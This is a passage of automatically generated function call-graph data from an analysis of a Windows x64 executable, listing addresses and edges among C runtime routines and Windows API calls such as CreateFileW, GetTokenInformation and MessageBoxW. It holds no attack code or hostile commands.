16835->16833 16838 7ff6ffd23864 16835->16838 16842 7ff6ffd23ed0 16835->16842 16868 7ff6ffd23b98 16835->16868 16898 7ff6ffd23420 16835->16898 16901 7ff6ffd250f0 16835->16901 16840 7ff6ffd2b5cc _invalid_parameter_noinfo 37 API calls 16838->16840 16840->16830 16843 7ff6ffd23f12 16842->16843 16844 7ff6ffd23f85 16842->16844 16845 7ff6ffd23f18 16843->16845 16846 7ff6ffd23faf 16843->16846 16847 7ff6ffd23f8a 16844->16847 16848 7ff6ffd23fdf 16844->16848 16855 7ff6ffd23f1d 16845->16855 16859 7ff6ffd23fee 16845->16859 16925 7ff6ffd22480 16846->16925 16849 7ff6ffd23f8c 16847->16849 16850 7ff6ffd23fbf 16847->16850 16848->16846 16848->16859 16866 7ff6ffd23f48 16848->16866 16852 7ff6ffd23f2d 16849->16852 16858 7ff6ffd23f9b 16849->16858 16932 7ff6ffd22070 16850->16932 16867 7ff6ffd2401d 16852->16867 16907 7ff6ffd24834 16852->16907 16855->16852 16857 7ff6ffd23f60 16855->16857 16855->16866 16857->16867 16917 7ff6ffd24cf0 16857->16917 16858->16846 16860 7ff6ffd23fa0 16858->16860 16859->16867 16939 7ff6ffd22890 16859->16939 16860->16867 16921 7ff6ffd24e88 16860->16921 16862 7ff6ffd1c010 _wfindfirst32i64 8 API calls 16864 7ff6ffd242b3 16862->16864 16864->16835 16866->16867 16946 7ff6ffd2f608 16866->16946 16867->16862 16869 7ff6ffd23bb9 16868->16869 16870 7ff6ffd23ba3 16868->16870 16871 7ff6ffd2b5cc _invalid_parameter_noinfo 37 API calls 16869->16871 16887 7ff6ffd23bf7 16869->16887 16872 7ff6ffd23f12 16870->16872 16873 7ff6ffd23f85 16870->16873 16870->16887 16871->16887 16874 7ff6ffd23f18 16872->16874 16875 7ff6ffd23faf 16872->16875 16876 7ff6ffd23f8a 16873->16876 16877 7ff6ffd23fdf 16873->16877 16884 7ff6ffd23f1d 16874->16884 16889 7ff6ffd23fee 16874->16889 16880 7ff6ffd22480 38 API calls 16875->16880 16878 7ff6ffd23f8c 16876->16878 16879 7ff6ffd23fbf 16876->16879 16877->16875 16877->16889 16896 7ff6ffd23f48 16877->16896 16881 7ff6ffd23f2d 16878->16881 16886 7ff6ffd23f9b 16878->16886 16882 7ff6ffd22070 38 API calls 16879->16882 16880->16896 16883 7ff6ffd24834 47 API calls 16881->16883 16897 7ff6ffd2401d 16881->16897 16882->16896 16883->16896 16884->16881 16888 7ff6ffd23f60 16884->16888 16884->16896 16885 7ff6ffd22890 38 API calls 16885->16896 16886->16875 16890 7ff6ffd23fa0 16886->16890 16887->16835 16891 7ff6ffd24cf0 47 API calls 16888->16891 16888->16897 16889->16885 16889->16897 16893 7ff6ffd24e88 37 API calls 16890->16893 16890->16897 16891->16896 16892 7ff6ffd1c010 _wfindfirst32i64 8 API calls 16894 7ff6ffd242b3 16892->16894 16893->16896 16894->16835 16895 7ff6ffd2f608 47 API calls 16895->16896 16896->16895 16896->16897 16897->16892 17095 7ff6ffd21644 16898->17095 16902 7ff6ffd25107 16901->16902 17112 7ff6ffd2e768 16902->17112 16908 7ff6ffd24856 16907->16908 16956 7ff6ffd214b0 16908->16956 16913 7ff6ffd250f0 45 API calls 16916 7ff6ffd24993 16913->16916 16914 7ff6ffd250f0 45 API calls 16915 7ff6ffd24a1c 16914->16915 16915->16866 16916->16914 16916->16915 16916->16916 16918 7ff6ffd24d08 16917->16918 16920 7ff6ffd24d70 16917->16920 16919 7ff6ffd2f608 47 API calls 16918->16919 16918->16920 16919->16920 16920->16866 16923 7ff6ffd24ea9 16921->16923 16922 7ff6ffd2b5cc _invalid_parameter_noinfo 37 API calls 16924 7ff6ffd24eda 16922->16924 16923->16922 16923->16924 16924->16866 16926 7ff6ffd224b3 16925->16926 16927 7ff6ffd224e2 16926->16927 16929 7ff6ffd2259f 16926->16929 16928 7ff6ffd214b0 12 API calls 16927->16928 16931 7ff6ffd2251f 16927->16931 16928->16931 16930 7ff6ffd2b5cc _invalid_parameter_noinfo 37 API calls 16929->16930 16930->16931 16931->16866 16933 7ff6ffd220a3 16932->16933 16934 7ff6ffd220d2 16933->16934 16936 7ff6ffd2218f 16933->16936 16935 7ff6ffd214b0 12 API calls 16934->16935 16938 7ff6ffd2210f 16934->16938 16935->16938 16937 7ff6ffd2b5cc _invalid_parameter_noinfo 37 API calls 16936->16937 16937->16938 16938->16866 16940 7ff6ffd228c3 16939->16940 16941 7ff6ffd228f2 16940->16941 16943 7ff6ffd229af 16940->16943 16942 7ff6ffd214b0 12 API calls 16941->16942 16945 7ff6ffd2292f 16941->16945 16942->16945 16944 7ff6ffd2b5cc _invalid_parameter_noinfo 37 API calls 16943->16944 16944->16945 16945->16866 16947 7ff6ffd2f630 16946->16947 16948 7ff6ffd250f0 45 API calls 16947->16948 16949 7ff6ffd2f675 16947->16949 16953 7ff6ffd2f635 memcpy_s 16947->16953 16955 7ff6ffd2f65e memcpy_s 16947->16955 16948->16949 16949->16953 16949->16955 17092 7ff6ffd31640 16949->17092 16950 7ff6ffd2b5cc _invalid_parameter_noinfo 37 API calls 16950->16953 16953->16866 16955->16950 16955->16953 16957 7ff6ffd214e7 16956->16957 16963 7ff6ffd214d6 16956->16963 16958 7ff6ffd2e3ac _fread_nolock 12 API calls 16957->16958 16957->16963 16960 7ff6ffd21514 16958->16960 16959 7ff6ffd21528 16962 7ff6ffd2b700 __free_lconv_num 11 API calls 16959->16962 16960->16959 16961 7ff6ffd2b700 __free_lconv_num 11 API calls 16960->16961 16961->16959 16962->16963 16964 7ff6ffd2f320 16963->16964 16965 7ff6ffd2f33d 16964->16965 16966 7ff6ffd2f370 16964->16966 16967 7ff6ffd2b5cc _invalid_parameter_noinfo 37 API calls 16965->16967 16966->16965 16968 7ff6ffd2f3a2 16966->16968 16976 7ff6ffd24971 16967->16976 16973 7ff6ffd2f4b5 16968->16973 16979 7ff6ffd2f3ea 16968->16979 16969 7ff6ffd2f5a7 17019 7ff6ffd2e80c 16969->17019 16971 7ff6ffd2f56d 17012 7ff6ffd2eba4 16971->17012 16973->16969 16973->16971 16974 7ff6ffd2f53c 16973->16974 16975 7ff6ffd2f4ff 16973->16975 16978 7ff6ffd2f4f5 16973->16978 17005 7ff6ffd2ee84 16974->17005 16995 7ff6ffd2f0b4 16975->16995 16976->16913 16976->16916 16978->16971 16981 7ff6ffd2f4fa 16978->16981 16979->16976 16986 7ff6ffd2b25c 16979->16986 16981->16974 16981->16975 16984 7ff6ffd2b6b8 _wfindfirst32i64 17 API calls 16985 7ff6ffd2f604 16984->16985 16987 7ff6ffd2b269 16986->16987 16988 7ff6ffd2b273 16986->16988 16987->16988 16993 7ff6ffd2b28e 16987->16993 16989 7ff6ffd25cb4 memcpy_s 11 API calls 16988->16989 16990 7ff6ffd2b27a 16989->16990 16992 7ff6ffd2b698 _invalid_parameter_noinfo 37 API calls 16990->16992 16991 7ff6ffd2b286 16991->16976 16991->16984 16992->16991 16993->16991 16994 7ff6ffd25cb4 memcpy_s 11 API calls 16993->16994 16994->16990 17028 7ff6ffd34efc 16995->17028 16999 7ff6ffd2f15c 17000 7ff6ffd2f1b1 16999->17000 17002 7ff6ffd2f17c 16999->17002 17004 7ff6ffd2f160 16999->17004 17081 7ff6ffd2eca0 17000->17081 17077 7ff6ffd2ef5c 17002->17077 17004->16976 17006 7ff6ffd34efc 38 API calls 17005->17006 17007 7ff6ffd2eece 17006->17007 17008 7ff6ffd34944 37 API calls 17007->17008 17009 7ff6ffd2ef1e 17008->17009 17010 7ff6ffd2ef22 17009->17010 17011 7ff6ffd2ef5c 45 API calls 17009->17011 17010->16976 17011->17010 17013 7ff6ffd34efc 38 API calls 17012->17013 17014 7ff6ffd2ebef 17013->17014 17015 7ff6ffd34944 37 API calls 17014->17015 17016 7ff6ffd2ec47 17015->17016 17017 7ff6ffd2ec4b 17016->17017 17018 7ff6ffd2eca0 45 API calls 17016->17018 17017->16976 17018->17017 17020 7ff6ffd2e851 17019->17020 17021 7ff6ffd2e884 17019->17021 17022 7ff6ffd2b5cc _invalid_parameter_noinfo 37 API calls 17020->17022 17023 7ff6ffd2e89c 17021->17023 17025 7ff6ffd2e91d 17021->17025 17027 7ff6ffd2e87d memcpy_s 17022->17027 17024 7ff6ffd2eba4 46 API calls 17023->17024 17024->17027 17026 7ff6ffd250f0 45 API calls 17025->17026 17025->17027 17026->17027 17027->16976 17029 7ff6ffd34f4f fegetenv 17028->17029 17030 7ff6ffd38e5c 37 API calls 17029->17030 17035 7ff6ffd34fa2 17030->17035 17031 7ff6ffd34fbd 17032 7ff6ffd35092 17031->17032 17047 7ff6ffd34fcf 17031->17047 17033 7ff6ffd38e5c 37 API calls 17032->17033 17036 7ff6ffd350bc 17033->17036 17034 7ff6ffd2b25c __std_exception_copy 37 API calls 17037 7ff6ffd3504d 17034->17037 17035->17031 17035->17032 17038 7ff6ffd3506c 17035->17038 17039 7ff6ffd38e5c 37 API calls 17036->17039 17040 7ff6ffd36174 17037->17040 17045 7ff6ffd35055 17037->17045 17041 7ff6ffd2b25c __std_exception_copy 37 API calls 17038->17041 17042 7ff6ffd350cd 17039->17042 17043 7ff6ffd2b6b8 _wfindfirst32i64 17 API calls 17040->17043 17041->17037 17044 7ff6ffd39050 20 API calls 17042->17044 17046 7ff6ffd36189 17043->17046 17055 7ff6ffd35136 memcpy_s 17044->17055 17048 7ff6ffd1c010 _wfindfirst32i64 8 API calls 17045->17048 17047->17034 17049 7ff6ffd2f101 17048->17049 17073 7ff6ffd34944 17049->17073 17050 7ff6ffd354df memcpy_s 17051 7ff6ffd35177 memcpy_s 17066 7ff6ffd35abb memcpy_s 17051->17066 17072 7ff6ffd355d3 memcpy_s 17051->17072 17052 7ff6ffd3581f 17053 7ff6ffd34a60 37 API calls 17052->17053 17059 7ff6ffd35f37 17053->17059 17054 7ff6ffd357cb 17054->17052 17056 7ff6ffd3618c memcpy_s 37 API calls 17054->17056 17055->17050 17055->17051 17057 7ff6ffd25cb4 memcpy_s 11 API calls 17055->17057 17056->17052 17058 7ff6ffd355b0 17057->17058 17060 7ff6ffd2b698 _invalid_parameter_noinfo 37 API calls 17058->17060 17062 7ff6ffd3618c memcpy_s 37 API calls 17059->17062 17071 7ff6ffd35f92 17059->17071 17060->17051 17061 7ff6ffd36118 17064 7ff6ffd38e5c 37 API calls 17061->17064 17062->17071 17063 7ff6ffd25cb4 11 API calls memcpy_s 17063->17066 17064->17045 17065 7ff6ffd25cb4 11 API calls memcpy_s 17065->17072 17066->17052 17066->17054 17066->17063 17068 7ff6ffd2b698 37 API calls _invalid_parameter_noinfo 17066->17068 17067 7ff6ffd34a60 37 API calls 17067->17071 17068->17066 17069 7ff6ffd2b698 37 API calls _invalid_parameter_noinfo 17069->17072 17070 7ff6ffd3618c memcpy_s 37 API calls 17070->17071 17071->17061 17071->17067 17071->17070 17072->17054 17072->17065 17072->17069 17074 7ff6ffd34963 17073->17074 17075 7ff6ffd2b5cc _invalid_parameter_noinfo 37 API calls 17074->17075 17076 7ff6ffd3498e memcpy_s 17074->17076 17075->17076 17076->16999 17078 7ff6ffd2ef88 memcpy_s 17077->17078 17078->17078 17079 7ff6ffd250f0 45 API calls 17078->17079 17080 7ff6ffd2f042 memcpy_s 17078->17080 17079->17080 17080->17004 17082 7ff6ffd2ecdb 17081->17082 17086 7ff6ffd2ed28 memcpy_s 17081->17086 17083 7ff6ffd2b5cc _invalid_parameter_noinfo 37 API calls 17082->17083 17084 7ff6ffd2ed07 17083->17084 17084->17004 17085 7ff6ffd2ed93 17087 7ff6ffd2b25c __std_exception_copy 37 API calls 17085->17087 17086->17085 17088 7ff6ffd250f0 45 API calls 17086->17088 17091 7ff6ffd2edd5 memcpy_s 17087->17091 17088->17085 17089 7ff6ffd2b6b8 _wfindfirst32i64 17 API calls 17090 7ff6ffd2ee80 17089->17090 17091->17089 17093 7ff6ffd31664 WideCharToMultiByte 17092->17093 17096 7ff6ffd21671 17095->17096 17097 7ff6ffd21683 17095->17097 17098 7ff6ffd25cb4 memcpy_s 11 API calls 17096->17098 17099 7ff6ffd21690 17097->17099 17103 7ff6ffd216cd 17097->17103 17100 7ff6ffd21676 17098->17100 17102 7ff6ffd2b5cc _invalid_parameter_noinfo 37 API calls 17099->17102 17101 7ff6ffd2b698 _invalid_parameter_noinfo 37 API calls 17100->17101 17104 7ff6ffd21681 17101->17104 17102->17104 17105 7ff6ffd21776 17103->17105 17106 7ff6ffd25cb4 memcpy_s 11 API calls 17103->17106 17104->16835 17105->17104 17107 7ff6ffd25cb4 memcpy_s 11 API calls 17105->17107 17108 7ff6ffd2176b 17106->17108 17109 7ff6ffd21820 17107->17109 17110 7ff6ffd2b698 _invalid_parameter_noinfo 37 API calls 17108->17110 17111 7ff6ffd2b698 _invalid_parameter_noinfo 37 API calls 17109->17111 17110->17105 17111->17104 17113 7ff6ffd2512f 17112->17113 17114 7ff6ffd2e781 17112->17114 17116 7ff6ffd2e7d4 17113->17116 17114->17113 17120 7ff6ffd34154 17114->17120 17117 7ff6ffd2e7ed 17116->17117 17118 7ff6ffd2513f 17116->17118 17117->17118 17164 7ff6ffd334a0 17117->17164 17118->16835 17132 7ff6ffd2bf00 GetLastError 17120->17132 17123 7ff6ffd341ae 17123->17113 17133 7ff6ffd2bf41 FlsSetValue 17132->17133 17134 7ff6ffd2bf24 FlsGetValue 17132->17134 17136 7ff6ffd2bf53 17133->17136 17151 7ff6ffd2bf31 17133->17151 17135 7ff6ffd2bf3b 17134->17135 17134->17151 17135->17133 17138 7ff6ffd2f948 memcpy_s 11 API calls 17136->17138 17137 7ff6ffd2bfad SetLastError 17139 7ff6ffd2bfcd 17137->17139 17140 7ff6ffd2bfba 17137->17140 17141 7ff6ffd2bf62 17138->17141 17155 7ff6ffd2b2bc 17139->17155 17140->17123 17154 7ff6ffd311a8 EnterCriticalSection 17140->17154 17142 7ff6ffd2bf80 FlsSetValue 17141->17142 17143 7ff6ffd2bf70 FlsSetValue 17141->17143 17146 7ff6ffd2bf8c FlsSetValue 17142->17146 17147 7ff6ffd2bf9e 17142->17147 17145 7ff6ffd2bf79 17143->17145 17149 7ff6ffd2b700 __free_lconv_num 11 API calls 17145->17149 17146->17145 17150 7ff6ffd2bcac memcpy_s 11 API calls 17147->17150 17149->17151 17152 7ff6ffd2bfa6 17150->17152 17151->17137 17153 7ff6ffd2b700 __free_lconv_num 11 API calls 17152->17153 17153->17137 17156 7ff6ffd344a0 __CxxCallCatchBlock EnterCriticalSection LeaveCriticalSection 17155->17156 17157 7ff6ffd2b2c5 17156->17157 17158 7ff6ffd2b2d4 17157->17158 17159 7ff6ffd344f0 __CxxCallCatchBlock 44 API calls 17157->17159 17160 7ff6ffd2b2dd IsProcessorFeaturePresent 17158->17160 17161 7ff6ffd2b307 __CxxCallCatchBlock 17158->17161 17159->17158 17162 7ff6ffd2b2ec 17160->17162 17163 7ff6ffd2b3cc _wfindfirst32i64 14 API calls 17162->17163 17163->17161 17165 7ff6ffd2bf00 __CxxCallCatchBlock 45 API calls 17164->17165 17166 7ff6ffd334a9 17165->17166 17174 7ff6ffd25b5c EnterCriticalSection 17167->17174 17176 7ff6ffd1288c 17175->17176 17177 7ff6ffd252b4 49 API calls 17176->17177 17178 7ff6ffd128dd 17177->17178 17179 7ff6ffd25cb4 memcpy_s 11 API calls 17178->17179 17180 7ff6ffd128e2 17179->17180 17194 7ff6ffd25cd4 17180->17194 17183 7ff6ffd11ee0 49 API calls 17184 7ff6ffd12911 memcpy_s 17183->17184 17185 7ff6ffd18de0 57 API calls 17184->17185 17186 7ff6ffd12946 17185->17186 17187 7ff6ffd1294b 17186->17187 17188 7ff6ffd12983 MessageBoxA 17186->17188 17190 7ff6ffd18de0 57 API calls 17187->17190 17189 7ff6ffd1299d 17188->17189 17191 7ff6ffd1c010 _wfindfirst32i64 8 API calls 17189->17191 17192 7ff6ffd12965 MessageBoxW 17190->17192 17193 7ff6ffd129ad 17191->17193 17192->17189 17193->16497 17195 7ff6ffd2c078 memcpy_s 11 API calls 17194->17195 17196 7ff6ffd25ceb 17195->17196 17197 7ff6ffd128e9 17196->17197 17198 7ff6ffd2f948 memcpy_s 11 API calls 17196->17198 17200 7ff6ffd25d2b 17196->17200 17197->17183 17199 7ff6ffd25d20 17198->17199 17201 7ff6ffd2b700 __free_lconv_num 11 API calls 17199->17201 17200->17197 17206 7ff6ffd30018 17200->17206 17201->17200 17204 7ff6ffd2b6b8 _wfindfirst32i64 17 API calls 17205 7ff6ffd25d70 17204->17205 17211 7ff6ffd30035 17206->17211 17207 7ff6ffd3003a 17208 7ff6ffd25d51 17207->17208 17209 7ff6ffd25cb4 memcpy_s 11 API calls 17207->17209 17208->17197 17208->17204 17210 7ff6ffd30044 17209->17210 17212 7ff6ffd2b698 _invalid_parameter_noinfo 37 API calls 17210->17212 17211->17207 17211->17208 17213 7ff6ffd30084 17211->17213 17212->17208 17213->17208 17214 7ff6ffd25cb4 memcpy_s 11 API calls 17213->17214 17214->17210 17216 7ff6ffd18f82 WideCharToMultiByte 17215->17216 17217 7ff6ffd18f14 WideCharToMultiByte 17215->17217 17218 7ff6ffd18faf 17216->17218 17223 7ff6ffd13f6b 17216->17223 17219 7ff6ffd18f3e 17217->17219 17220 7ff6ffd18f55 17217->17220 17221 7ff6ffd129c0 57 API calls 17218->17221 17222 7ff6ffd129c0 57 API calls 17219->17222 17220->17216 17224 7ff6ffd18f6b 17220->17224 17221->17223 17222->17223 17223->16507 17223->16508 17225 7ff6ffd129c0 57 API calls 17224->17225 17225->17223 17227 7ff6ffd140ea 17226->17227 17228 7ff6ffd18de0 57 API calls 17227->17228 17229 7ff6ffd14112 17228->17229 17244 7ff6ffd18d00 FindFirstFileExW 17229->17244 17232 7ff6ffd1c010 _wfindfirst32i64 8 API calls 17233 7ff6ffd13f88 17232->17233 17233->16512 17233->16515 17235 7ff6ffd14352 17234->17235 17236 7ff6ffd18de0 57 API calls 17235->17236 17237 7ff6ffd14380 CreateFileW 17236->17237 17238 7ff6ffd143b7 GetFinalPathNameByHandleW CloseHandle 17237->17238 17239 7ff6ffd1441f 17237->17239 17238->17239 17240 7ff6ffd143e3 __vcrt_InitializeCriticalSectionEx 17238->17240 17241 7ff6ffd1c010 _wfindfirst32i64 8 API calls 17239->17241 17242 7ff6ffd18ef0 59 API calls 17240->17242 17243 7ff6ffd13fb9 17241->17243 17242->17239 17243->16512 17245 7ff6ffd18d3d FindClose 17244->17245 17246 7ff6ffd18d50 17244->17246 17245->17246 17247 7ff6ffd1c010 _wfindfirst32i64 8 API calls 17246->17247 17248 7ff6ffd1411c 17247->17248 17248->17232 17250 7ff6ffd17dee 17249->17250 17251 7ff6ffd2b1d3 17249->17251 17250->16533 17251->17250 17252 7ff6ffd2b25c __std_exception_copy 37 API calls 17251->17252 17253 7ff6ffd2b200 17252->17253 17253->17250 17254 7ff6ffd2b6b8 _wfindfirst32i64 17 API calls 17253->17254 17255 7ff6ffd2b230 17254->17255 17257 7ff6ffd14060 116 API calls 17256->17257 17258 7ff6ffd11ac6 17257->17258 17259 7ff6ffd11c74 17258->17259 17261 7ff6ffd184c0 83 API calls 17258->17261 17260 7ff6ffd1c010 _wfindfirst32i64 8 API calls 17259->17260 17262 7ff6ffd11c88 17260->17262 17263 7ff6ffd11afe 17261->17263 17262->16543 17289 7ff6ffd13e80 17262->17289 17287 7ff6ffd11b2f 17263->17287 17295 7ff6ffd21004 17263->17295 17264 7ff6ffd2097c 74 API calls 17264->17259 17266 7ff6ffd11b18 17267 7ff6ffd11b1c 17266->17267 17268 7ff6ffd11b34 17266->17268 17270 7ff6ffd12870 59 API calls 17267->17270 17299 7ff6ffd20ccc 17268->17299 17270->17287 17272 7ff6ffd11b67 17275 7ff6ffd21004 73 API calls 17272->17275 17273 7ff6ffd11b4f 17274 7ff6ffd12870 59 API calls 17273->17274 17274->17287 17276 7ff6ffd11bb4 17275->17276 17277 7ff6ffd11bc6 17276->17277 17278 7ff6ffd11bde 17276->17278 17280 7ff6ffd12870 59 API calls 17277->17280 17279 7ff6ffd20ccc _fread_nolock 53 API calls 17278->17279 17281 7ff6ffd11bf3 17279->17281 17280->17287 17282 7ff6ffd11bf9 17281->17282 17283 7ff6ffd11c0e 17281->17283 17284 7ff6ffd12870 59 API calls 17282->17284 17302 7ff6ffd20a40 17283->17302 17284->17287 17287->17264 17288 7ff6ffd12b10 59 API calls 17288->17287 17290 7ff6ffd11ee0 49 API calls 17289->17290 17291 7ff6ffd13e9d 17290->17291 17291->16553 17293 7ff6ffd11ee0 49 API calls 17292->17293 17294 7ff6ffd14170 17293->17294 17294->16543 17296 7ff6ffd21034 17295->17296 17308 7ff6ffd20d94 17296->17308 17298 7ff6ffd2104d 17298->17266 17320 7ff6ffd20cec 17299->17320 17303 7ff6ffd20a49 17302->17303 17304 7ff6ffd11c22 17302->17304 17305 7ff6ffd25cb4 memcpy_s 11 API calls 17303->17305 17304->17287 17304->17288 17309 7ff6ffd20dfe 17308->17309 17310 7ff6ffd20dbe 17308->17310 17309->17310 17312 7ff6ffd20e0a 17309->17312 17311 7ff6ffd2b5cc _invalid_parameter_noinfo 37 API calls 17310->17311 17318 7ff6ffd20de5 17311->17318 17319 7ff6ffd25b5c EnterCriticalSection 17312->17319 17318->17298 17321 7ff6ffd20d16 17320->17321 17322 7ff6ffd11b49 17320->17322 17321->17322 17323 7ff6ffd20d62 17321->17323 17324 7ff6ffd20d25 memcpy_s 17321->17324 17322->17272 17322->17273 17333 7ff6ffd25b5c EnterCriticalSection 17323->17333 17326 7ff6ffd25cb4 memcpy_s 11 API calls 17324->17326 17329 7ff6ffd20d3a 17326->17329 17331 7ff6ffd2b698 _invalid_parameter_noinfo 37 API calls 17329->17331 17331->17322 17335 7ff6ffd1889f GetTokenInformation 17334->17335 17336 7ff6ffd18921 __std_exception_destroy 17334->17336 17337 7ff6ffd188c0 GetLastError 17335->17337 17338 7ff6ffd188cb 17335->17338 17339 7ff6ffd1893a 17336->17339 17340 7ff6ffd18934 CloseHandle 17336->17340 17337->17336 17337->17338 17338->17336 17341 7ff6ffd188e7 GetTokenInformation 17338->17341 17339->16562 17340->17339 17341->17336 17342 7ff6ffd1890a 17341->17342 17342->17336 17343 7ff6ffd18914 ConvertSidToStringSidW 17342->17343 17343->17336 17345 7ff6ffd18975 17344->17345 17361 7ff6ffd25508 17345->17361 17349 7ff6ffd12c50 17348->17349 17350 7ff6ffd252b4 49 API calls 17349->17350 17351 7ff6ffd12c9b memcpy_s 17350->17351 17352 7ff6ffd18de0 57 API calls 17351->17352 17353 7ff6ffd12cd0 17352->17353 17354 7ff6ffd12d0d MessageBoxA 17353->17354 17355 7ff6ffd12cd5 17353->17355 17357 7ff6ffd12d27 17354->17357 17356 7ff6ffd18de0 57 API calls 17355->17356 17358 7ff6ffd12cef MessageBoxW 17356->17358 17359 7ff6ffd1c010 _wfindfirst32i64 8 API calls 17357->17359 17358->17357 17360 7ff6ffd12d37 17359->17360 17360->16572 17363 7ff6ffd25562 17361->17363 17362 7ff6ffd25587 17365 7ff6ffd2b5cc _invalid_parameter_noinfo 37 API calls 17362->17365 17363->17362 17364 7ff6ffd255c3 17363->17364 17379 7ff6ffd238c0 17364->17379 17368 7ff6ffd255b1 17365->17368 17367 7ff6ffd256a4 17370 7ff6ffd2b700 __free_lconv_num 11 API calls 17367->17370 17369 7ff6ffd1c010 _wfindfirst32i64 8 API calls 17368->17369 17372 7ff6ffd18998 17369->17372 17370->17368 17372->16569 17373 7ff6ffd25679 17377 7ff6ffd2b700 __free_lconv_num 11 API calls 17373->17377 17374 7ff6ffd256ca 17374->17367 17376 7ff6ffd256d4 17374->17376 17375 7ff6ffd25670 17375->17367 17375->17373 17378 7ff6ffd2b700 __free_lconv_num 11 API calls 17376->17378 17377->17368 17378->17368 17380 7ff6ffd238fe 17379->17380 17381 7ff6ffd238ee 17379->17381 17382 7ff6ffd23907 17380->17382 17387 7ff6ffd23935 17380->17387 17384 7ff6ffd2b5cc _invalid_parameter_noinfo 37 API calls 17381->17384 17385 7ff6ffd2b5cc _invalid_parameter_noinfo 37 API calls 17382->17385 17383 7ff6ffd2392d 17383->17367 17383->17373 17383->17374 17383->17375 17384->17383 17385->17383 17387->17381 17387->17383 17390 7ff6ffd242d4 17387->17390 17423 7ff6ffd23d20 17387->17423 17460 7ff6ffd234b0 17387->17460 17391 7ff6ffd24387 17390->17391 17392 7ff6ffd24316 17390->17392 17393 7ff6ffd2438c 17391->17393 17394 7ff6ffd243e0 17391->17394 17395 7ff6ffd2431c 17392->17395 17396 7ff6ffd243b1 17392->17396 17397 7ff6ffd2438e 17393->17397 17398 7ff6ffd243c1 17393->17398 17402 7ff6ffd243f7 17394->17402 17403 7ff6ffd243ea 17394->17403 17408 7ff6ffd243ef 17394->17408 17399 7ff6ffd24321 17395->17399 17400 7ff6ffd24350 17395->17400 17479 7ff6ffd22684 17396->17479 17401 7ff6ffd24330 17397->17401 17411 7ff6ffd2439d 17397->17411 17486 7ff6ffd22274 17398->17486 17399->17402 17405 7ff6ffd24327 17399->17405 17400->17405 17400->17408 17421 7ff6ffd24420 17401->17421 17463 7ff6ffd24a88 17401->17463 17493 7ff6ffd24fdc 17402->17493 17403->17396 17403->17408 17405->17401 17410 7ff6ffd24362 17405->17410 17418 7ff6ffd2434b 17405->17418 17408->17421 17497 7ff6ffd22a94 17408->17497 17410->17421 17473 7ff6ffd24dc4 17410->17473 17411->17396 17413 7ff6ffd243a2 17411->17413 17416 7ff6ffd24e88 37 API calls 17413->17416 17413->17421 17415 7ff6ffd1c010 _wfindfirst32i64 8 API calls 17417 7ff6ffd2471a 17415->17417 17416->17418 17417->17387 17419 7ff6ffd250f0 45 API calls 17418->17419 17418->17421 17422 7ff6ffd2460c 17418->17422 17419->17422 17421->17415 17422->17421 17504 7ff6ffd2f7b8 17422->17504 17424 7ff6ffd23d2e 17423->17424 17425 7ff6ffd23d44 17423->17425 17427 7ff6ffd24387 17424->17427 17428 7ff6ffd24316 17424->17428 17448 7ff6ffd23d84 17424->17448 17426 7ff6ffd2b5cc _invalid_parameter_noinfo 37 API calls 17425->17426 17425->17448 17426->17448 17429 7ff6ffd2438c 17427->17429 17430 7ff6ffd243e0 17427->17430 17431 7ff6ffd2431c 17428->17431 17432 7ff6ffd243b1 17428->17432 17433 7ff6ffd2438e 17429->17433 17434 7ff6ffd243c1 17429->17434 17438 7ff6ffd243f7 17430->17438 17439 7ff6ffd243ea 17430->17439 17444 7ff6ffd243ef 17430->17444 17435 7ff6ffd24321 17431->17435 17436 7ff6ffd24350 17431->17436 17440 7ff6ffd22684 38 API calls 17432->17440 17437 7ff6ffd24330 17433->17437 17449 7ff6ffd2439d 17433->17449 17442 7ff6ffd22274 38 API calls 17434->17442 17435->17438 17441 7ff6ffd24327 17435->17441 17436->17441 17436->17444 17443 7ff6ffd24a88 47 API calls 17437->17443 17459 7ff6ffd24420 17437->17459 17445 7ff6ffd24fdc 45 API calls 17438->17445 17439->17432 17439->17444 17457 7ff6ffd2434b 17440->17457 17441->17437 17446 7ff6ffd24362 17441->17446 17441->17457 17442->17457 17443->17457 17447 7ff6ffd22a94 38 API calls 17444->17447 17444->17459 17445->17457 17450 7ff6ffd24dc4 46 API calls 17446->17450 17446->17459 17447->17457 17448->17387 17449->17432 17451 7ff6ffd243a2 17449->17451 17450->17457 17453 7ff6ffd24e88 37 API calls 17451->17453 17451->17459 17452 7ff6ffd1c010 _wfindfirst32i64 8 API calls 17454 7ff6ffd2471a 17452->17454 17453->17457 17454->17387 17455 7ff6ffd250f0 45 API calls 17458 7ff6ffd2460c 17455->17458 17456 7ff6ffd2f7b8 46 API calls 17456->17458 17457->17455 17457->17458 17457->17459 17458->17456 17458->17459 17459->17452 17538 7ff6ffd218f8 17460->17538 17464 7ff6ffd24aae 17463->17464 17465 7ff6ffd214b0 12 API calls 17464->17465 17474 7ff6ffd24df9 17473->17474 17481 7ff6ffd226b7 17479->17481 17480 7ff6ffd226e6 17485 7ff6ffd22723 17480->17485 17516 7ff6ffd21558 17480->17516 17481->17480 17483 7ff6ffd227a3 17481->17483 17484 7ff6ffd2b5cc _invalid_parameter_noinfo 37 API calls 17483->17484 17484->17485 17485->17418 17488 7ff6ffd222a7 17486->17488 17487 7ff6ffd222d6 17489 7ff6ffd21558 12 API calls 17487->17489 17492 7ff6ffd22313 17487->17492 17488->17487 17490 7ff6ffd22393 17488->17490 17489->17492 17491 7ff6ffd2b5cc _invalid_parameter_noinfo 37 API calls 17490->17491 17491->17492 17492->17418 17494 7ff6ffd2501f 17493->17494 17496 7ff6ffd25023 __crtLCMapStringW 17494->17496 17524 7ff6ffd25078 17494->17524 17496->17418 17498 7ff6ffd22ac7 17497->17498 17499 7ff6ffd22af6 17498->17499 17501 7ff6ffd22bb3 17498->17501 17500 7ff6ffd21558 12 API calls 17499->17500 17503 7ff6ffd22b33 17499->17503 17500->17503 17502 7ff6ffd2b5cc _invalid_parameter_noinfo 37 API calls 17501->17502 17502->17503 17503->17418 17517 7ff6ffd2158f 17516->17517 17518 7ff6ffd2157e 17516->17518 17517->17518 17518->17485 17525 7ff6ffd25096 17524->17525 17527 7ff6ffd2509e 17524->17527 17527->17496 17539 7ff6ffd2192d 17538->17539 17540 7ff6ffd2193f 17538->17540 17541 7ff6ffd25cb4 memcpy_s 11 API calls 17539->17541 17543 7ff6ffd2194d 17540->17543 17546 7ff6ffd21989 17540->17546 17542 7ff6ffd21932 17541->17542 17545 7ff6ffd2b698 _invalid_parameter_noinfo 37 API calls 17542->17545 17544 7ff6ffd2b5cc _invalid_parameter_noinfo 37 API calls 17543->17544 17552 7ff6ffd2193d 